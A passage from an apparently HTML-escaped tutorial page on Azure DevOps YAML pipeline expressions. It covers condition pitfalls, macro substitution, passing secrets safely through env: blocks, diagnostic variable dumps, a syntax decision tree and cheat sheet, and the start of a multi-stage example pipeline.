style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy-prod.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003evariables[\u0026#39;deployToProd\u0026#39;] \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# evaluates to \u0026#39;false\u0026#39; (string) = truthy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# FIXED: compare explicitly against the string \u0026#39;true\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy-prod.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;deployToProd\u0026#39;], \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eMissing \u003ccode\u003edependsOn\u003c/code\u003e.\u003c/strong\u003e If Job B references \u003ccode\u003edependencies.JobA.outputs['stepName.varName']\u003c/code\u003e but does not declare \u003ccode\u003edependsOn: JobA\u003c/code\u003e, the output variable resolves to an empty string. Azure DevOps does not warn about this. The \u003ccode\u003edependsOn:\u003c/code\u003e and the \u003ccode\u003edependencies.*\u003c/code\u003e reference must name the same job with the same casing.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eUndefined variable references.\u003c/strong\u003e \u003ccode\u003e$[ variables['unsetVar'] ]\u003c/code\u003e returns an empty string, not an error. A condition like \u003ccode\u003eeq(variables['tier'], 'production')\u003c/code\u003e silently evaluates to \u003ccode\u003eeq('', 'production')\u003c/code\u003e = false if \u003ccode\u003etier\u003c/code\u003e was never set. Use \u003ccode\u003ecoalesce(variables['tier'], 'dev')\u003c/code\u003e to supply a default.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003esucceeded()\u003c/code\u003e vs. \u003ccode\u003esucceededOrSkipped()\u003c/code\u003e.\u003c/strong\u003e A step conditioned on \u003ccode\u003esucceeded()\u003c/code\u003e does not run if its upstream job was skipped. If you have a notification or cleanup step that must run after an optional job, use \u003ccode\u003esucceededOrSkipped()\u003c/code\u003e rather than \u003ccode\u003esucceeded()\u003c/code\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"macro-expressions---\"\u003eMacro Expressions — \u003ccode\u003e$( )\u003c/code\u003e\u003c/h2\u003e\n\u003ch3 id=\"how-macros-work\"\u003eHow Macros Work\u003c/h3\u003e\n\u003cp\u003eMacro substitution is the simplest of the three mechanisms. Immediately before Azure DevOps delivers a task\u0026rsquo;s inputs to the agent, it performs a string find-and-replace on every input value: \u003ccode\u003e$(varName)\u003c/code\u003e becomes the current string value of \u003ccode\u003evarName\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe substitution reads from the variable store as it exists at the moment that specific task begins. This means macros can read values set by \u003ccode\u003etask.setvariable\u003c/code\u003e in any prior step in the same job — something runtime expressions (\u003ccode\u003e$[ ]\u003c/code\u003e) cannot do, because those evaluate once at job initialization before any steps run.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDotNetCoreCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epublish\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003earguments\u003c/span\u003e: \u0026gt;\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        --configuration $(buildConfig)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        --output $(Build.ArtifactStagingDirectory)/$(Build.BuildId)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # $(Build.ArtifactStagingDirectory) → /home/vsts/work/1/a (expanded at task start)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # $(Build.BuildId)                  → 42 (expanded at task start)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # $(buildConfig)                    → Release (expanded at task start)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePublish application\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf a macro references a variable that does not exist at execution time, the literal token is passed to the task unchanged. A task receiving \u003ccode\u003e$(undefinedVar)\u003c/code\u003e as an argument gets the string \u003ccode\u003e$(undefinedVar)\u003c/code\u003e. The task usually accepts this silently and produces wrong output rather than failing. To diagnose this, add a diagnostic step before the failing task and check whether the variable appears in the environment:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    # Dump all variables to the log to identify undefined macros\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    printenv | sort           # Linux/macOS agents\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDiagnostic variable dump (Linux)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003epwsh\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    Get-ChildItem Env: | Sort-Object Name | Format-Table -AutoSize\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDiagnostic variable dump (Windows)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRemove these diagnostic steps before merging to the main branch.\u003c/p\u003e\n\u003ch3 id=\"secrets-and-security\"\u003eSecrets and Security\u003c/h3\u003e\n\u003cp\u003eSecret variables are masked in logs — any log line containing the secret value is replaced with \u003ccode\u003e***\u003c/code\u003e. Macro substitution still delivers the plaintext value to the task; the masking is a log post-processing step, not an access control mechanism.\u003c/p\u003e\n\u003cp\u003ePassing secrets via macro expansion to inline scripts creates an injection risk. When a secret value contains shell metacharacters (spaces, quotes, semicolons), the script can break or behave unexpectedly. Use the \u003ccode\u003eenv:\u003c/code\u003e block to pass secrets to scripts as environment variables instead:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AVOID: macro expansion in a script argument\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh --token $(MY_SECRET_TOKEN)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# PREFER: environment variable via env: block\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh --token \u0026#34;$DEPLOY_TOKEN\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eDEPLOY_TOKEN\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(MY_SECRET_TOKEN)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# MY_SECRET_TOKEN is now an env var; the shell sees $DEPLOY_TOKEN, not the literal token value\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003eenv:\u003c/code\u003e block approach prevents the secret from appearing in the process argument list (visible to other processes via \u003ccode\u003e/proc/\u0026lt;pid\u0026gt;/cmdline\u003c/code\u003e on Linux) and avoids shell word-splitting issues entirely.\u003c/p\u003e\n\u003cp\u003eNever add a diagnostic \u003ccode\u003eprintenv\u003c/code\u003e or variable dump step to a pipeline that has secret variables configured. Even though the values appear as \u003ccode\u003e***\u003c/code\u003e in the log, the presence of the step creates an opportunity for the masked value to leak if the masking logic misses an encoding variant (e.g., URL-encoded or base64-wrapped forms of the secret).\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"choosing-the-right-syntax-a-decision-framework\"\u003eChoosing the Right Syntax: A Decision Framework\u003c/h2\u003e\n\u003ch3 id=\"decision-tree\"\u003eDecision Tree\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eIs the decision structural — does it add or remove jobs, stages, or steps?\n  YES → ${{ if }} / ${{ each }}\n  NO  ↓\n\nDoes the value only exist after a prior job or step runs (output variable)?\n  YES → $[ dependencies.X.outputs[\u0026#39;step.var\u0026#39;] ] in variables: block\n  NO  ↓\n\nDoes the decision control whether a step/job runs or is skipped?\n  YES → condition: $[ expr ] or condition: eq(variables[\u0026#39;flag\u0026#39;], \u0026#39;true\u0026#39;)\n  NO  ↓\n\nIs this a string value being passed to a task argument or script?\n  YES → $(variableName) macro\n  NO  ↓\n\nIs this a template parameter value used in a template file?\n  YES → ${{ parameters.name }}\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"quick-reference-cheat-sheet\"\u003eQuick-Reference Cheat Sheet\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eUse Case\u003c/th\u003e\n          \u003cth\u003eCorrect Syntax\u003c/th\u003e\n          \u003cth\u003eCommon Mistake\u003c/th\u003e\n          \u003cth\u003eWhy the Mistake Fails\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eConditionally include a job\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ if parameters.flag }}:\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003econdition: variables['flag']\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003econdition:\u003c/code\u003e skips but does not remove the job; the job still appears in the plan and costs queue time\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eConditionally skip a step\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003econdition: eq(variables['flag'], 'true')\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ if variables['flag'] }}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003ePredefined/runtime variables are not available at compile time; the \u003ccode\u003eif\u003c/code\u003e always resolves to false\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eGenerate N deployment stages\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ each env in parameters.envs }}:\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eA \u003ccode\u003ematrix:\u003c/code\u003e strategy\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003ematrix\u003c/code\u003e generates parallel jobs within one stage; \u003ccode\u003e${{ each }}\u003c/code\u003e generates separate named stages with separate approvals\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eRead a prior job\u0026rsquo;s output variable\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ dependencies.JobA.outputs['step.var'] ]\u003c/code\u003e in \u003ccode\u003evariables:\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$(dependencies.JobA.outputs['step.var'])\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eMacro syntax does not support the \u003ccode\u003edependencies\u003c/code\u003e object; the token passes through literally\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eString interpolation in a script\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.BuildId)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ variables['Build.BuildId'] ]\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ ]\u003c/code\u003e is not valid in a \u003ccode\u003escript:\u003c/code\u003e value; it is only valid in \u003ccode\u003econdition:\u003c/code\u003e and \u003ccode\u003evariables:\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003ePrevent \u003ccode\u003e'false'\u003c/code\u003e string from being truthy\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eeq(variables['flag'], 'true')\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evariables['flag']\u003c/code\u003e as a bare condition\u003c/td\u003e\n          \u003ctd\u003eNon-empty strings including \u003ccode\u003e'false'\u003c/code\u003e are truthy in runtime expression context\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003ePass a secret to a script securely\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eenv: MYVAR: $(SECRET)\u003c/code\u003e in \u003ccode\u003eenv:\u003c/code\u003e block\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003escript: ./run.sh $(SECRET)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eMacro in an argument exposes the value in the process argument list and risks word-splitting\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"debugging-expressions-with-expanded-yaml\"\u003eDebugging Expressions with Expanded YAML\u003c/h2\u003e\n\u003ch3 id=\"using-the-expanded-yaml-view\"\u003eUsing the Expanded YAML View\u003c/h3\u003e\n\u003cp\u003eAfter a pipeline run starts, navigate to the run\u0026rsquo;s \u003cstrong\u003eLogs\u003c/strong\u003e tab. Select the \u003cstrong\u003eInitialize job\u003c/strong\u003e step for any job. Near the top of that step\u0026rsquo;s log, Azure DevOps writes the Expanded YAML — the fully compiled, flat execution plan that was produced in Phase 2.\u003c/p\u003e\n\u003cp\u003eThe Expanded YAML is the most reliable debugging tool for compile-time expression problems. If a job you expected to appear is missing from the Expanded YAML, a \u003ccode\u003e${{ if }}\u003c/code\u003e evaluated to false during Phase 2. The job was never part of the plan, which is why no \u0026ldquo;skipped\u0026rdquo; entry appears in the run graph. The absence is the signal.\u003c/p\u003e\n\u003cp\u003eA typical debugging workflow:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eOpen the run that produced the unexpected behavior.\u003c/li\u003e\n\u003cli\u003eClick the job that should have contained the missing step or the job that itself is missing.\u003c/li\u003e\n\u003cli\u003eOpen \u003cstrong\u003eInitialize job\u003c/strong\u003e → scan for the Expanded YAML block.\u003c/li\u003e\n\u003cli\u003eSearch the Expanded YAML for the job or step name. If it is absent, the \u003ccode\u003e${{ if }}\u003c/code\u003e evaluated to false.\u003c/li\u003e\n\u003cli\u003eIdentify which variable the \u003ccode\u003eif\u003c/code\u003e depends on, and check whether that variable could possibly exist at compile time. If it is a predefined variable or variable group value, move the logic to a \u003ccode\u003econdition:\u003c/code\u003e field.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"diagnostic-variable-dump-pattern\"\u003eDiagnostic Variable Dump Pattern\u003c/h3\u003e\n\u003cp\u003eWhen macro substitution produces unexpected values — the wrong string, a literal \u003ccode\u003e$(varName)\u003c/code\u003e token, or an empty value — a variable dump step inserted before the failing task shows exactly what is in the runtime variable store:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# --- Temporary diagnostic step — remove before merging ---\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprintenv | sort\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[DEBUG] All environment variables (Linux)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003epwsh: Get-ChildItem Env\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e| Sort-Object Name | Format-Table Name, Value -AutoSize\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[DEBUG] All environment variables (Windows)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# --- End diagnostic ---\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureWebApp@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eappName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(APP_NAME)     \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# If APP_NAME is not in the dump, $(APP_NAME) passes literally\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e[DEBUG]\u003c/code\u003e prefix in \u003ccode\u003edisplayName\u003c/code\u003e makes these steps easy to locate and remove before the PR is merged.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-multi-stage-pipeline-with-all-three-syntaxes\"\u003eHands-On Example: Multi-Stage Pipeline with All Three Syntaxes\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e A .NET application pipeline that builds the application, optionally runs a security scan on pull requests, publishes an artifact, and deploys to a named environment. The deployment job reads an output variable from the build job to select the correct container image tag.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAn Azure DevOps project with \u003ccode\u003edev\u003c/code\u003e and \u003ccode\u003eprod\u003c/code\u003e environments defined\u003c/li\u003e\n\u003cli\u003eA YAML pipeline file at the repository root\u003c/li\u003e\n\u003cli\u003eA self-hosted or Microsoft-hosted agent pool\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrigger\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ebranches\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einclude\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003erefs/pull/*/merge\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# runSecurityScan: boolean parameter controls whether SecurityScan stage exists in the plan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erunSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# deployEnvironments: object parameter drives ${{ each }} stage generation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployEnvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev-arm-connection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan 